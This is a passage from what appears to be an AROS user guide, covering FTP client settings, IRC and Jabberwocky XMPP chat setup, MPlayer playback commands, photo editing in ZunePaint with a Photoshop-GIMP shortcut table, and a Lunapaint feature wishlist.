1) Choose a name for your server, in order to spot it immediately in the address book. Enter the IP address you got before.

2) click on Custom Options:


1) go to Miscellaneous in the left menu;

2) Ensure &quot;Passive Transfers&quot; is NOT selected;

3) click on Use. We need to deactivate Passive Transfers because YAFS, the FTP server included in Icaros, only allows active transfers at the current stage. Now, we can finally connect to our new file source:


1) Look into the address book for the newly introduced server, be sure that name and IP address are right, and

2) click on Connect. A new lister with server's &quot;MyWorkspace&quot; contents will appear. You can now transfer files over the network choosing a destination among your local (client's) volumes.

Can be adapted to any FTP client on any platform of your choice, just be sure your client allows Active Transfers as well.


===IRC Internet Relay Chat===

Jabberwocky is ideal for one-to-one social media communication, use IRC if you require one to many. 

Just type a message in ''lowercase''' letters and it will be posted to all in the [ AROS irc channel]. Please do not use UPPER CASE as it is a sign of SHOUTING which is annoying.

Other things to type in - replace &lt;message&gt; with a line of text and &lt;nick&gt; with a person's name

&lt;pre&gt;
/help

/list

/who
/whois &lt;nick&gt;

/msg &lt;nick&gt; &lt;message&gt;

/query &lt;nick&gt; 
&lt;message&gt;s
/query

/away &lt;message&gt;
/away

/quit &lt;going away message&gt; 
&lt;/pre&gt;


[http://irchelp.org/irchelp/new2irc.html#smiley Intro guide here]. IRC Primer can be found here in [http://www.irchelp.org/irchelp/ircprimer.html html], [http://www.irchelp.org/irchelp/text/ircprimer.txt TXT], [http://www.kei.com/irc/IRCprimer1.1.ps PostScript].


Issue the command /me &lt;text&gt; where &lt;text&gt; is the text that should follow your nickname.
Example: /me slaps ajk around a bit with a large trout

/nick &lt;newNick&gt;

/nickserv register &lt;password&gt; &lt;email address&gt;

/ns instead of /nickserv, while others might need /msg nickserv

/nickserv identify &lt;password&gt;

Alternatives:
/ns identify &lt;password&gt;
/msg nickserv identify &lt;password&gt;


==== IRC WookieChat ====

WookieChat is the most complete internet client for communication across the IRC Network. WookieChat allows you to swap ideas and communicate in real-time, you can also exchange Files, Documents, Images and everything else using the application's DCC capabilities.


add smilies drawer/directory

 run wookiechat from the shell and set stack to 1000000 e.g. wookiechat stack 1000000

select a server / server window

* nickname 
* user name 
* real name - optional

Once you configure the client with your preferred screen name, you'll want to find a channel to talk in.


servers

* New Server - click on this to add / add extra - change details in section below this click box 
* New Group
* Delete Entry
* Connect to server
* connect in new tab
* perform on connect

Change details

* Servername - change text in this box to one of the below Server: 
* Port number - no need to change
* Server password
* Channel - add #channel from below 
* auto join - can click this 
* nick registration password,

Click Connect to server button above


&lt;pre&gt;
Server: irc.freenode.net
Channel: #aros
&lt;/pre&gt;

irc://irc.freenode.net/aros

&lt;pre&gt;
Server: chat.amigaworld.net 
Channel: #amigaworld or #amigans 
&lt;/pre&gt;

&lt;pre&gt;
On Sunday evenings USA time usually starting around 3PM EDT (1900 UTC)
Server:irc.superhosts.net
Channel #team*amiga  
&lt;/pre&gt;

&lt;pre&gt;
BitlBee and Minbif are IRCd-like gateways to multiple IM networks
Server: im.bitlbee.org 
Port 6667 
Seems to be most useful on WookieChat as you can be connected to several servers at once. One for Bitlbee and any messages that might come through that. One for your normal IRC chat server. 
&lt;/pre&gt;

[http://www.bitlbee.org/main.php/servers.html Other servers],

&lt;pre&gt;
#Amiga.org - irc.synirc.net eu.synirc.net dissonance.nl.eu.synirc.net (IPv6: 2002:5511:1356:0:216:17ff:fe84:68a) 
twilight.de.eu.synirc.net zero.dk.eu.synirc.net us.synirc.net avarice.az.us.synirc.net envy.il.us.synirc.net harpy.mi.us.synirc.net 
liberty.nj.us.synirc.net snowball.mo.us.synirc.net - Ports 6660-6669 7001 (SSL)
&lt;/pre&gt;

&lt;pre&gt;
Multiple server support
&quot;Perform on connect&quot; scripts and channel auto-joins
Automatic Nickserv login
Tabs for channels and private conversations
CTCP PING, TIME, VERSION, SOUND
Incoming and Outgoing DCC SEND file transfers
Colours for different events
Logging and automatic reloading of logs
mIRC colour code filters
Configurable timestamps
GUI for changing channel modes easily
Configurable highlight keywords
URL Grabber window
Optional outgoing swear word filter
Event sounds for tabs opening, highlighted words, and private messages
DCC CHAT support
Doubleclickable URL's
Support for multiple languages using LOCALE
Clone detection
Auto reconnection to Servers upon disconnection
Command aliases
Chat display can be toggled between AmIRC and mIRC style
Counter for Unread messages
Graphical nicklist and graphical smileys with a popup chooser
&lt;/pre&gt;


====IRC Aircos ====

Double click on Aircos icon in Extras:Networking/Apps/Aircos. It has been set up with a guest account for trial purposes. Though ideally, choose a nickname and password for frequent use of irc. 


====IRC and XMPP Jabberwocky====
 Servers are setup and close down at random 
You sign up to a server that someone else has setup and access chat services through them. 

The two ways to access chat from jabberwocky
&lt;pre &gt;
Jabberwocky -&gt; Server -&gt; XMPP -&gt; open and ad-free 
Jabberwocky -&gt; Server -&gt; Transports (Gateways) -&gt; Proprietary closed systems 
&lt;/pre &gt;

The Jabber.org service connects with all IM services that use XMPP, the open standard for instant messaging and presence over the Internet. The services we connect with include Google Talk (closed), Live Journal Talk, Nimbuzz, Ovi, and thousands more. However, you can not connect from Jabber.org to proprietary services like AIM, ICQ, MSN, Skype, or Yahoo because they don’t yet use XMPP components (XEP-0114) '''but''' you can use Jabber.com's servers and IM gateways (MSN, ICQ, Yahoo etc.) instead.

The best way to use jabberwocky is in conjunction with a public jabber server with '''transports''' to your favorite services, like gtalk, Facebook, yahoo, ICQ, AIM, etc.


You have to register with one of the servers, [https://list.jabber.at/ this list] or [http://www.jabberes.org/servers/ another list], [http://xmpp.net/ this security XMPP list],

Unfortunately jabberwocky can only connect to one server at a time so it is best to check what services each server offers. If you set it up with separate Facebook and google talk accounts, for example, sometimes you'll only get one or the other.

Jabberwocky open a window where the Jabber server part is typed in as well as your Nickname and Password.

Jabber ID (JID) identifies you to the server and other users.

Once registered the next step is to goto Jabberwocky's &quot;Windows&quot; menu and select the &quot;Agents&quot; option. The &quot;Agents List&quot; window will open.

Roster (contacts list)

[http://search.wensley.org.uk/ Chatrooms] (MUC) are available

File Transfer - can send and receive files through the Jabber service but not with other services like IRC, ICQ, AIM or Yahoo. All you need is an installed webbrowser and OpenURL.

Clickable URLs - The message window uses Mailtext.mcc and you can set a URL action in the MUI mailtext prefs like SYS:Utils/OpenURL %s NEWWIN.

There is no consistent Skype like (H.323 VoIP) video conferencing available over Jabber. The move from xmpp to Jingle should help but no support on any amiga-like systems at the moment. [http://aminet.net/package/dev/src/AmiPhoneSrc192 AmiPhone] and [http://www.lysator.liu.se/%28frame,faq,nobg,useframes%29/ahi/v4-site/ Speak Freely] was an early attempt voice only contact. SIP and Asterisk are other PBX options.


 Facebook

If you're using the XMPP transport provided by Facebook themselves, chat.facebook.com, it looks like they're now requiring SSL transport. This means jabberwocky method below will no longer work. The best thing to do is to create an ID on a public jabber server which has a Facebook gateway.

&lt;pre &gt;
1. launch jabberwocky
2. if the login window doesn't appear on launch, select 'account' from the jabberwocky menu
3. your jabber ID will be user@chat.facebook.com where user is your user ID
4. your password is your normal facebook password
5. to save this for next time, click the popup gadget next to the ID field

6. click the 'add' button
7. click the 'close' button
8. click the 'connect' button
&lt;/pre &gt;

you're done. you can also click the 'save as default account' button if you want. jabberwocky configured to auto-connect when launching the program, but you can configure as you like. there is amigaguide documentation included with jabberwocky.

[http://amigaworld.net/modules/newbb/viewtopic.php?topic_id=37085&amp;forum=32 Read more here]

for Facebook users, you can log-in directly to Facebook with jabberwocky. just sign in as @chat.facebook.com with your Facebook password as the password


 Twitter

For a few years, there has been added a twitter transport. Servers include [http://jabber.hot-chilli.net/ jabber.hot-chili.net],  and .

An [http://jabber.hot-chilli.net/tag/how-tos/ How-to]

:Read [http://jabber.hot-chilli.net/2010/05/09/twitter-transport-working/ more]

 Instagram 

no support at the moment best to use a web browser based client

 ICQ

The new version (beta) of StriCQ uses a newer ICQ protocol. Most of the ICQ Jabber Transports still use an older ICQ protocol. You can only talk one-way to StriCQ using the older Transports. Only the newer ICQv7 Transport lets you talk both ways to StriCQ. Look at the server lists in the first section to check.

Register on a Jabber server, e.g. this one works: http://www.jabber.de/
Then login into Jabberwocky with the following login data e.g. xxx@jabber.de / Password: xxx Now add your ICQ account under the window-&gt;Agents-&gt;&quot;Register&quot;. Now Jabberwocky connects via the Jabber.de server with your ICQ account.

 Yahoo Messenger

although yahoo! does not use xmpp protocol, you should be able to use the transport methods to gain access and post your replies

 MSN

early months of 2013 Microsoft will ditch MSN Messenger client and force everyone to use Skype...but MSN protocol and servers will keep working as usual for quite a long time....

Occasionally the Messenger servers have been experiencing problems signing in.  You may need to sign in at www.outlook.com and then try again.  It may also take multiple tries to sign in.  (This also affects you if you’re using Skype.)

You have to check each servers' Agents List to see what transports (MSN protocol, ICQ protocol, etc.) are supported or use the list address' provided in the section above. Then register with each transport (IRC, MSN, ICQ, etc.) to which you need access. After registering you can Connect to start chatting.

msn.jabber.com/registered should appear in the window.

From this [http://tech.dir.groups.yahoo.com/group/amiga-jabberwocky/message/1378 JW group] guide which  helps with this process in a clear, step by step procedure.

1. Sign up on MSN's site for a passport account. This typically involves getting a Hotmail address.

2. Log on to the Jabber server of your choice and do the following:

* Select the &quot;Windows/Agents&quot; menu option in Jabberwocky.
* Select the MSN Agent from the list presented by the server.
* Click the Register button to open a new window asking for:
**Username = passort account email address, typically your hotmail address.
**Nick = Screen name to be shown to anyone you add to your buddy list.
**Password = Password for your passport account/hotmail address.
* Click the Register button at the bottom of the new window.

3. If all goes well, you will see the MSN Gateway added to your buddy list. If not, repeat part 2 on another server. Some servers may show MSN in their list of available agents, but have not updated their software for the latest protocols used by MSN.

4. Once you are registered, you can now add people to your buddy list. Note that you need to include the '''msn.''' ahead of the servername so that it knows what gateway agent to use. Some servers may use a slight variation and require '''msg.gate.''' before the server name, so try both to see what works.

If my friend's msn was amiga@hotmail.co.uk and my jabber server was @jabber.meta.net.nz..
then amiga'''%'''hotmail.com@'''msn.'''jabber.meta.net.nz

or another the trick to import MSN contacts is that you don't type the hotmail URL but the passport URL... e.g. Instead of: goodvibe%hotmail.com@msn.jabber.com  You type: goodvibe%passport.com@msn.jabber.com 
And the thing about importing contacts I'm afraid you'll have to do it by hand, one at the time...

 Google Talk

any XMPP server will work, but you have to add your contacts manually. a google talk user is typically either @gmail.com or @talk.google.com. a true gtalk transport is nice because it brings your contacts to you and (can) also support file transfers to/from google talk users.

implement Jingle a set of extensions to the IETF's Extensible Messaging and Presence Protocol (XMPP)

support ended early 2014 as Google moved to Google+ Hangouts which uses it own proprietary format


===Video Player MPlayer===

Many of the menu features (such as doubling) do not work with the current version of mplayer but using

4:3
 mplayer -vf scale=800:600 file.avi

16:9
 mplayer -vf scale=854:480 file.avi

if you want gui use;
 mplayer -gui 1 &lt;other params&gt; file.avi

&lt;pre &gt;
stack 1000000

; using AspireOS 1.xx 
; copy FROM SYS:Extras/Multimedia/MPlayer/ TO RAM:MPlayer ALL CLONE &gt; Nil:

; using Icaros Desktop 1.x 
; copy FROM SYS:Tools/MPlayer/ TO RAM:MPlayer ALL CLONE &gt; Nil:

; using Icaros Desktop 2.x 
; copy FROM SYS:Utilities/MPlayer/ TO RAM:MPlayer ALL CLONE &gt; Nil:

cd RAM:MPlayer
run MPlayer -gui &gt; Nil:
;run MPlayer -gui -ao ahi_dev -playlist http://www.radio-paralax.de/listen.pls &gt; Nil: 
&lt;/pre &gt;

$ mplayer rtsp://127.0.0.1:554/sample_300kbit.mp4


MPlayer supports multicast streaming, and rtp/rtsp protocols (it might require [http://www.live555.com/openRTSP/ live555 library] to work with some streams). But you might have to build it where it's disabled. Also, multicast won't work with some AmiTCP-likes. MIAMI supported it, though.

AROS supports IPv4 (old but works) and this includes the needed address space for RTP.

If you mean multicast via RTP - mplayer handles it. You can even force UDP over TCP

-rtsp-stream-over-tcp

If the rtsp Real Time Streaming Protocol  server needs authentification:

-user -passwd


MPlayer - Menu - Open Playlist and load already downloaded .pls or .m3u file - auto starts around 4 percent cache

MPlayer - Menu - Open Stream and copy one of the .pls lines below into space allowed, press OK and press play button on main gui interface


Old 8bit 16bit remixes chip tune game music 
 
http://www.radio-paralax.de/listen.pls 

http://scenesat.com/

http://www.shoutcast.com/radio/Amiga

http://www.theoldcomputer.com/retro_radio/RetroRadio_Main.htm

http://www.kohina.com/

http://www.remix64.com/

http://retrogamer.net/forum/

http://retroasylum.podomatic.com/rss2.xml

http://retrogamesquad.com/

http://www.retronauts.com/

http://monsterfeet.com/noquarter/

http://www.retrogamingradio.com/

http://www.radiofeeds.co.uk/mp3.asp


[[#top|...to the top]]

====ZunePaint==== 

simplified typical workflow

* importing and organizing and photo management
* making global and regional local correction(s) - recalculation is necessary after each adjustment as it is not in real-time 
* exporting your images in the best format available with the preservation of metadata


Whilst achieving 80% of a great photo with just a filter, the remaining 20% comes from a manual fine-tuning of specific image attributes.


For photojournalism, documentary, and event coverage, minimal touching is recommended. Stick to Camera Raw for such shots, and limit changes to level adjustment, sharpness, noise reduction, and white balance correction.

For fashion or portrait shoots, a large amount of adjustment is allowed and usually ends up far from the original. Skin smoothing, blemish removal, eye touch-ups, etc. are common.  Might alter the background a bit to emphasize the subject.

Product photography usually requires a lot of sharpening, spot removal, and focus stacking.

For landscape shots, best results are achieved by doing the maximum amount of preparation before/while taking the shot. No amount of processing can match timing, proper lighting, correct gear, optimal settings, etc. Excessive post-processing might give you a dramatic shot but best avoided in the long term.


* White Balance - Left Amiga or F12 and K and under &quot;Misc color effects&quot; tab with a pull down for White Balance - color temperature also known as AKA tint (movies) or tones (painting) - warm temp raise red reduce green blue - cool raise blue lower red green 
* Exposure - exposure compensation, highlight/shadow recovery
* Noise Reduction - during RAW development or using external software
* Lens Corrections - distortion, vignetting, chromatic aberrations
* Detail - capture sharpening and local contrast enhancement
* Contrast - black point, levels (sliders) and curves tools (F12 and K) 
* Framing - straighten () and crop (F12 and F) 
* Refinements - color adjustments and selective enhancements - Left Amiga or F12 and K for RGB and YUV histogram tabs - 
* Resizing - enlarge for a print or downsize for the web or email (F12 and D) 
* Output Sharpening - customized for your subject matter and print/screen size


White Balance - F12 and K

scan your image for a shade which was meant to be white (neutral with each RGB value being equal) like paper or plastic which is in the same light as the subject of the picture. Use the dropper tool to select this color, similar colours will shift and you will have selected the perfect white balance for your part of the image - for the whole picture make sure RAZ or CLR button at the bottom is pressed before applying to the image above.


Exposure correction

F12 and K - YUV Y luminosity - RGB extra red tint - move red curve slightly down and move blue green curves slightly up

Workflows in practice

* Undo - Right AROS key or F12 and Z 
* Redo - Right AROS key or F12 and R

First flatten your image (if necessary) and then do a rotation until the picture looks level. 
* Crop the picture. Click the selection button and drag a box over the area of the picture you want to keep. Press the crop button and the rest of the photo will be gone. 
* Adjust your saturation, exposure, hue levels, etc., (right AROS Key and K for color correction) until you are happy with the photo. Make sure you zoom in all of the way to 100% and look the photo over, zoom back out and move around. Look for obvious problems with the picture. 
* After coloring and exposure do a sharpen (Right AROS key and E for Convolution and select drop down option needed), e.g. set the matrix to 5x5 (roughly equivalent Amount to 60%) and set the Radius to 1.0. Click OK.


And save your picture


Implemented or would like to see for simplification and ease of use

basic filters (presets) like black and white, monochrome, edge detection (sobel), motion/gaussian blur, 
* negative, sepiatone, retro vintage, night vision, colour tint, color gradient, color temperature, glows, fire, lightning, lens flare, emboss, filmic, pixelate mezzotint, antialias, etc.

adjust / cosmetic tools such as crop, 
* reshaping tools, straighten, smear, smooth, perspective, liquify, bloat, pucker, push pixels in any direction, dispersion, transform like warp, blending with soft light, page-curl, whirl, ripple, fisheye, neon,  etc. 
* red eye fixing, blemish remover, skin smoothing, teeth whitener, make eyes look brighter, desaturate,

effects like oil paint, cartoon, pencil sketch, charcoal, noise/matrix like sharpen/unsharpen, (right AROS key with A for Artistic effects) 
* blend two image, gradient blend, masking blend, explode, implode, custom collage, surreal painting, comic book style, needlepoint, stained glass, watercolor, mosaic, stencil/outline, crayon, chalk, etc.

borders such as 
* dropshadow, rounded, blurred, color tint, picture frame, film strip polaroid, bevelled edge, etc.

brushes e.g.
* frost, smoke, etc.

and manual control of

fix lens issues including vignetting (darkening), color fringing and barrel distortion, and chromatic and geometric aberration -  lens and body profiles

perspective correction

levels - directly modify the levels of the tone-values of an image, by using sliders for highlights, midtones and shadows

curves -  Color Adjustment and Brightness/Contrast

color balance

one single color transparent (alpha channel (color information/selections) for masking and/or blending ) for backgrounds, etc.

Threshold indicates how much other colors will be considered mixture of the removed color and non-removed colors

decompose layer into a set of layers with each holding a different type of pattern that is visible within the image

any selection using any selecting tools like lasso tool, marquee tool etc. the selection will temporarily be save to alpha 
If you create your image without transparency then the Alpha channel is not present, but you can add later.

File formats like .psd (Photoshop file has layers, masks etc.  contains edited sensor data. The original sensor data is no longer available) .xcf .raw .hdr

Image Picture Formats
* low dynamic range (JPEG, PNG, TIFF 8-bit), 16-bit (PPM, TIFF), typically as a 16-bit TIFF in either ProPhoto or AdobeRGB colorspace -  TIFF files are also fairly universal – although, if they contain proprietary data, such as Photoshop Adjustment Layers or Smart Filters, then they can only be opened by Photoshop making them proprietary.
* linear high dynamic range (HDR) images (PFM, [http://www.openexr.com/ ILM .EXR], jpg, [http://aminet.net/util/dtype cr2] (canon tiff based), hdr, NEF, CRW, ARW, MRW, ORF, RAF (Fuji), PEF, DCR, SRF, ERF, DNG files are RAW converted to an Adobe proprietary format - a container that can embed the raw file as well as the information needed to open it) 
An old version of [http://archives.aros-exec.org/index.php?function=browse&amp;cat=graphics/convert dcraw]

There is no single RAW file format. Each camera manufacturer has one or more unique RAW formats. RAW files contain the brightness levels data captured by the camera sensor. This data cannot be modified. A second smaller file, separate XML file, or within a database with instructions for the RAW processor to change exposure, saturation etc. The extra data can be changed but the original sensor data is still there. RAW is technically least compatible.

A raw file is high-bit (usually 12 or 14 bits of information) but a camera-generated TIFF file will be usually converted by the camera (compressed, downsampled) to 8 bits. The raw file has no embedded color balance or color space, but the TIFF has both. These three things (smaller bit depth, embedded color balance, and embedded color space) make it so that the TIFF will lose quality more quickly with image adjustments than the raw file. The camera-generated TIFF image is much more like a camera processed JPEG than a raw file. A strong advantage goes to the raw file. The power of RAW files, such as the ability to set any color temperature non-destructively and will contain more tonal values.

The principle of preserving the maximum amount of information to as late as possible in the process. The final conversion - which will always effectively represent a &quot;downsampling&quot; - should prevent as much loss as possible.

Once you save it as TIFF, you throw away some of that data irretrievably. When saving in the lossy JPEG format, you get tremendous file size savings, but you've irreversibly thrown away a lot of image data. As long as you have the RAW file, original or otherwise, you have access to all of the image data as captured.

Keyboard equivalence with Photoshop(tm) would help 

File
PHOTOSHOP	SHORTCUT	GIMP
New	Ctrl+n	New
Open	Ctrl+o	Open
Close	Ctrl+w	Close
Save	Ctrl+s	Save
Save as	Shift+Ctrl+s	Save as
Revert	F12	Revert
Print	Ctrl+p	Print
Exit	Ctrl+q	Quit
 
Edit
PHOTOSHOP	SHORTCUT	GIMP
Undo/Redo (1 level)	Ctrl+z	Undo (Redo is Shift+Ctrl+z)
Cut	Ctrl+x	Cut
Copy	Ctrl+c	Copy
Paste	Ctrl+v	Paste
Paste Into	Shift+Ctrl+v	Paste Into
Fill with FG color	Alt+Backspace	Fill with FG color
Fill with BG color	Control+Backspace	Fill with BG color
 
Image/Colors
PHOTOSHOP	SHORTCUT	GIMP
Levels	Ctrl+l	Levels
Auto Contrast	Shift+Ctrl+Alt+l	Stretch Contrast (same?)
Curves	Ctrl+m	Curves
Color Balance	Ctrl+b	Color Balance
Hue/Saturation	Ctrl+u	Hue-Saturation
Desaturate	Shift+Ctrl+u	Desaturate
Invert	Ctrl+i	Invert
Default Colors	d	Default Colors
Switch Colors	x	Switch Colors
 
Layer
PHOTOSHOP	SHORTCUT	GIMP
New Layer	Shift+Ctrl+n	New Layer
Layer via Copy	Ctrl+j	Duplicate Layer
Bring (layer) to Front	Shift+Ctrl+]	Layer to Top
Send (layer) to Back	Shift+Ctrl+[	Layer to Bottom
Bring (layer) Forward	Ctrl+]	Raise Layer
Send (layer) Backward	Ctrl+[	Lower Layer
Select Top Layer	Shift+Alt+]	Select Top Layer
Select Bottom Layer	Shift+Alt+[	Select Bottom Layer
Select One Layer Forward	Alt+]	Select Previous Layer
Select One Layer Backward	Alt+[	Select Next Layer
Merge Down	Ctrl+e	Merge Down
Merge Visible	Shift+Ctrl+e	Merge Visible
Preserve Transparency	/	Keep Transparency
Cycle Modes Forwards	Shift+=	Next Layer Mode
Cycle Modes Backwards	Shift+-	Previous Layer Mode
 
Select
PHOTOSHOP	SHORTCUT	GIMP
Select All	Ctrl+a	Select All
Deselect	Ctrl+d	Select None
Inverse	Shift+Ctrl+i	Invert
Feather	Ctrl+Alt+d	Feather
 
View
PHOTOSHOP	SHORTCUT	GIMP
Zoom In	Ctrl+=	Zoom In
Zoom Out	Ctrl+-	Zoom Out
Fit on Screen	Ctrl+0	Zoom to Fit Window
Actual Pixels	Ctrl+Alt+0	Zoom 1:1
Show/Hide Extras	Ctrl+h	Toggle Show Selection (close enough?)
Show/Hide Guides	Ctrl+'	Toggle Show Guides
Show/Hide Grid	Ctrl+Alt+'	Toggle Show Grid
Show/Hide Rulers	Ctrl+r	Toggle Show Rulers
Snap	Ctrl+;	Snap to Guides
Scroll View Up	Page Up	Scroll Page Up
Scroll View Down	Page Down	Scroll Page Down
Scroll View Left	Ctrl+Page Up	Scroll Page Left
Scroll View Right	Ctrl+Page Down	Scroll Page Right
 
Window/Dialogs
PHOTOSHOP	SHORTCUT	GIMP
?	F5	Tools Dialog
Color Tab	F6	Colors Dialog
Layers Tab	F7	Layers Dialog
Info Tab	F8	Image Information
 
Tools
PHOTOSHOP	SHORTCUT	GIMP
Rectangular Marquee Tool	m	Rect Select Tool
Elliptical Marquee Tool	Shift+m	Ellipse Select Tool
 	*This is a toggle between 'Elliptical Marquee Tool' and 'Rectangular Marquee Tool' in Photoshop	 
Move Tool	v	Move Tool
Lasso Tool	l	Free Select Tool
Magic Wand Tool	w	Fuzzy Select Tool
Crop Tool	c	Crop &amp; Resize Tool
Airbrush Tool	j	Airbrush Tool
Paintbrush Tool	b	Paintbrush Tool
Clone Stamp Tool	s	Clone Stamp Tool
Eraser Tool	e	Eraser Tool
Gradient Tool	g	Blend Tool
Paint Bucket Tool	Shift+g	Bucket Fill Tool
 	*This is a toggle between 'Paint Bucket Tool' and 'Gradient Tool' in Photoshop	 
Blur Tool	r	Convolve Tool
Dodge Tool	o	DodgeBurn Tool
Type Tool	t	Text Tool
Pen Tool	p	Bezier Select Tool
Eye Dropper Tool	i	Color Picker Tool
Zoom Tool	z	Magnify Tool
Previous Brush	,	Previous Brush
Next Brush	.	Next Brush
First Brush	Shift+&lt;	First Brush
Last Brush	Shift+&gt;	Last Brush
Decrease Brush Size	[	Decrease Brush Size
Increase Brush Size	]	Increase Brush Size
Decrease Brush Hardness	{	Decrease Brush Hardness
Increase Brush Hardness	}	Increase Brush Hardness
 
Help
PHOTOSHOP	SHORTCUT	GIMP
Help	F1	Help
Context Help	Shift+F1	Context Help
 
Misc.
PHOTOSHOP	SHORTCUT	GIMP
Last Filter	Ctrl+f	Repeat Last Filter
?	Shift+Ctrl+f	Reshow Last Filter
Preferences	Ctrl+k	Preferences
Liquify	Shift+Ctrl+x	IWarp (close enough?)
Toggle Quick Mask	q	Toggle Quick Mask


Spotlights - triangle of white opaque shape

Cutting out and/or replacing unwanted background or features - select large areas with the selection option like the Magic Wand tool (aka Color Range) or the Lasso (quick and fast) with feather 2 to soften edge or the pen tool which adds points/lines/Bézier curves (better control but slower), hold down the shift button as you click to add extra points/areas of the subject matter to remove. Increase the tolerance to cover more areas. To subtract from your selection hold down alt as you're clicking. 
* Layer masks are a better way of working than Erase they clip (black hides/hidden white visible/reveal). Clone Stamp can be simulated by   and brushes for other areas. 
* Leave the fine details like hair, fur, etc. to later with lasso and the shift key to draw a line all the way around your subject. Gradient Mapping - Inverse - Mask. i.e. Refine your selected image with edge detection and using the radius and edge options / adjuster (increase/decrease contrast) so that you will capture more fine detail from the background allowing easier removal. 
Remove fringe/halo

saving image as png rather than jpg/jpeg to keep transparency background intact.


Implemented [http://colorizer.org/ colour model representations] [http://paulbourke.net/texture_colour/colourspace/ Mathematical approach] - Photo stills are spatially 2d (h and w), but are colorimetrically 3d (r g and b, or H L S, or Y U V etc.) as well. 
* RGB - split cubed mapped color model for photos and computer graphics hardware using the light spectrum (adding and subtracting) 
* YUV - Y-Lightness U-blue/yellow V-red/cyan (similar to YPbPr and YCbCr) used in the PAL, NTSC, and SECAM composite digital TV color [http://crewofone.com/2012/chroma-subsampling-and-transcoding/#comment-7299 video]


Histograms

White balanced (neutral) if the spike happens in the same place in each channel of the RGB graphs. If not, you're not balanced. 
If you have sky you'll see the blue channel further off to the right.

RGB is best one to change colours. These elements RGB is a 3-channel format containing data for Red, Green, and Blue in your photo scale between 0 and 255. The area in a picture that appears to be brighter/whiter contains more red color as compared to the area which is relatively darker. Similarly in the green channel the area that appears to be darker contains less amount of green color as compared to the area that appears to be brighter.  Similarly in the blue channel the area appears to be darker contains less amount of blue color as compared to the area that appears to be brighter. Brightness luminance histogram also matches the green histogram more than any other color - human eye interprets green better e.g. RGB rough ratio 15/55/30%

RGBA (RGB+A, A means alpha channel) .  The alpha channel is used for &quot;alpha compositing&quot;, which can mostly be associated as &quot;opacity&quot;.  AROS deals in RGB with two digits for every color (red, green, blue), in ARGB you have two additional hex digits for the alpha channel.

The shadows are represented by the left third of the graph.  The highlights are represented by the right third.  And the midtones are, of course, in the middle.  The higher the black peaks in the graph, the more pixels are concentrated in that tonal range (total black area). 
By moving the black endpoint, which identifies the shadows (darkness) and a white light endpoint (brightness) up and down either sides of the graph, colors are adjusted based on these points. 
By dragging the central one, can increased the midtones and control the contrast, raise shadows levels, clip or softly eliminate unsafe levels, alter gamma, etc... in a way that is much more precise and creative .


RGB Curves

* Move left endpoint (black point) up or right endpoint (white point) up brightens 
* Move left endpoint down or right endpoint down darkens

Color Curves

* Dragging up on the Red Curve increases the intensity of the reds in the image but 
* Dragging down on the Red Curve decreases the intensity of the reds and thus increases the apparent intensity of its complimentary color, cyan. Green’s complimentary color is magenta, and blue’s is yellow.
&lt;pre&gt;
 Red &lt;-&gt; Cyan
 Green &lt;-&gt;Magenta
 Blue &lt;-&gt;Yellow 
&lt;/pre&gt;

YUV Best option to analyse and pull out statistical elements of any picture (i.e.  separate luminance data from color data). The line in Y luma tone box represents the brightness of the image with the point in the bottom left been black, and the point in the top right as white.  A low-contrast image has a concentrated clump of values nearer to the center of the graph. By comparison, a high-contrast image has a wider distribution of values across the entire width of the Histogram.   A histogram that is skewed to the right would indicate a picture that is a bit overexposed because most of the color data is on the lighter side (increase exposure with higher value F), while a histogram with the curve on the left shows a picture that is underexposed. This is good information to have when using post-processing software because it shows you not only where the color data exists for a given picture, but also where any data has been clipped (extremes on edges of either side): that is, it does not exist and, therefore, cannot be edited.  By dragging the endpoints of the line and as well as the central one, can increased the dark/shadows, midtones and light/bright parts and control the contrast, raise shadows levels, clip or softly eliminate unsafe levels, alter gamma, etc... in a way that is much more precise and creative .

The U and V chroma parts show color difference components of the image. It’s useful for checking whether or not the overall chroma is too high, and also whether it’s being limited too much
Can be used to create a negative image but also 
With U (Cb), the higher value you are, the more you're on the blue primary color. If you go to the low values then you're on blue complementary color, i.e. yellow.
With V (Cr), this is the same principle but with Red and Cyan.
e.g. If you push U full blue and V full red, you get magenta. If you push U full yellow and V full Cyan then you get green.

YUV simultaneously adds to one side of the color equation while subtracting from the other.  
using YUV to do color correction can be very problematic because each curve alters the result of each other: the mutual influence between U and V often makes things tricky. You may also be careful in what you do to avoid the raise of noise (which happens very easily). Best results are obtained with little adjustments

sunset that looks uninspiring and needs some color pop especially for the rays over the hill, a subtle contrast raise while setting luma values back to the legal range without hard clipping.


====Lunapaint====

Pixel based drawing app with onion-skin animation function

 Blocking, Shading, Coloring, adding detail 

&lt;pre&gt;
b BRUSH
e ERASER

alt eyedropper 
v layer tool 

z ZOOM / MAGNIFY &lt; &gt; n 
spc panning 
m  marque 
q lasso 
w same color selection / region 
&lt;/pre&gt;

&lt;pre&gt;
, LM RM
v 
V
f  filter 
F 
.  size 

p 
,  pick color 
[] last / next color 
&lt;/pre&gt;


There is not much missing in Lunapaint to be as good as FlipBook and then you have to take into account that Flipbook is considered to be amongst the best and easiest to use animation software out there. Ok to be honest Flipbook has some nice features that require more heavy work but those aren't so much needed right away, things like camera effects, sound, smart fill, export to different movie file formats etc.

Tried Flipbook with my tablet and compared it to Luna. The feeling is the same when sketching. LunaPaint is very responsive/fluent to draw with. Just as Flipbook is, and that responsiveness is something its users have mentioned as one of the positive sides of said software.

 author was learning MUI. Some parts just have to be rewritten with proper MUI classes before new features can be added.

* add [Frame Add] / [Frame Del]
* whole animation feature is impossible to use. If you draw 2 color maybe but if you start coloring your cells then you get in trouble
* pickup the entire image as a brush, not just a selection ? And consequently remove the brush from memory when one doesn't need it anymore. can pick up a brush and put it onto a new image but cropping isn't possible, nor to load/save brushes.
* Undo is something I longed for ages in Lunapaint.
* to import into the current layer, other types of images (e.g. JPEG) besides RAW64.
* implement graphic tablet features support


**GENERAL DRAWING**

Miss it very much:
UNDO
ERASER
COLORPICKER - has to show on palette too which color got picked.
BACKGROUND COLOR -Possibility to select from &quot;New project screen&quot;

Miss it somewhat:
ICON for UNDO
ICON for ERASER
ICON for CLEAR SCREEN ( What can I say? I start over from scratch very often )
BRUSH - possibility to cut out as brush not just copy off image to brush

**ANIMATING**

Miss it very much:
NUMBER OF CELLS - Possibity to change total no. of cells during project
ANIM BRUSH - Possibility to pick up a selected part of cells into an animbrush

Miss it somewhat:
ADD/REMOVE FRAMES: Add/remove single frame

